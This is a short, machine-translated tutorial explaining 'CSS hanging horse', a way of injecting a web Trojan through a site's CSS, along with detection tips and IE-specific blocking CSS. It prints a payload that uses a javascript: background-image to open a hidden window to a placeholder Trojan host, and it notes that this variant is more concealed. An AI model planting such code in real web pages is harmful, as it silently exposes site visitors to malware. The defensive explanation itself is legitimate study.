Security Tutorial: Understanding CSS Hanging Horse and Prevention Methods (2)

Xiaokeke: Using the Body object element, mainly to make the object no longer change the content of the entire web document, through the control of the Body object, the content or effect can be Controls are within the specified size, as accurately as the DIV object is used.

Mode 2:

Body{

background-image: url(javascript:open(' http://www.X.com/muma.htm ',' Newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))

}

The CSS hanging horse technology of mode 1 will have a blank page at runtime, which affects the normal access of web visitors, so it is easier to find. However, in the code in the mode 2, using JavaScript's Open window, by opening a hidden window, quietly running a new window in the background and activating the webpage overflowing Trojan page does not affect the visitor's viewing of the webpage content. Therefore it is more concealed.

The anti-network server is hung up and usually has anti-virus software alerts. Due to the continuous updating of the vulnerabilities, the types of hanging horses are changing at all times. It is often overlooked by the client to find out whether the server is hanged. The correct approach is to check the server logs frequently, find abnormal information, check the website code frequently, and use the web Trojan detection system to check.

In addition to using the previous blocking pop-up window to prevent CSS hanging horses, you can also set CSS filtering in the web page to filter the CSS. However, if you choose to filter CSS, you first need to pay attention to whether your related webpage has CSS content, so we still use the blocking method to prevent CSS. The blocking code is as follows:

iframe{miao1:expression(this.src='about:blank',this.outerHTML='');}

script{miao2:expression( If(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

The src of the Trojan code of the foreign domain is heavy Write the address of the IE404 error page, so that the JavaScript code of the foreign domain will not be downloaded. However, the blocking method also has a natural fatal weakness, and the secret of the weakness will be announced next time.